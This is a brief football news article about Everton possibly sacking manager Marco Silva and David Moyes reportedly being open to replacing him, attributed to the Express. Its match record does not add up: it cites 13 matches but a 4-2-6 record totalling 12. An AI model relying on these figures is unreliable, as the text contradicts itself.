the ones who made it all happen
Organized by


David Moyes could go to Everton if Marco Silva leaves
by BeSoccerEverton are planning the possible sacking of Marco Silva and if this situation occurs, the 'Express' state that David Moyes would be willing to listen to an offer from the club.
Everton's aspirations in the Premier League this season have taken a turn for the worse after 13 matches so far.
They started the season with the Europa League in mind, but after 4 wins, 2 draws and 6 defeats, the Toffees should concentrate on not getting relegated, since they are just 4 points above the relegation zone.
Featured links
- The latest football transfers news and rumours
- Neymar or Mbappé? Zidane choose
- Kante explains why he turned down PSG
- What Cristiano said about Messi to his Man Utd teammates
That's why the owners are thinking about the possible sacking of Marco Silva since they consider that he hasn't succeeded in getting the best out of the squad.
Everton are also thinking about getting David Moyes to replace him, and according to the 'Express', the ex-Manchester United man would be willing to listen to an offer from the club.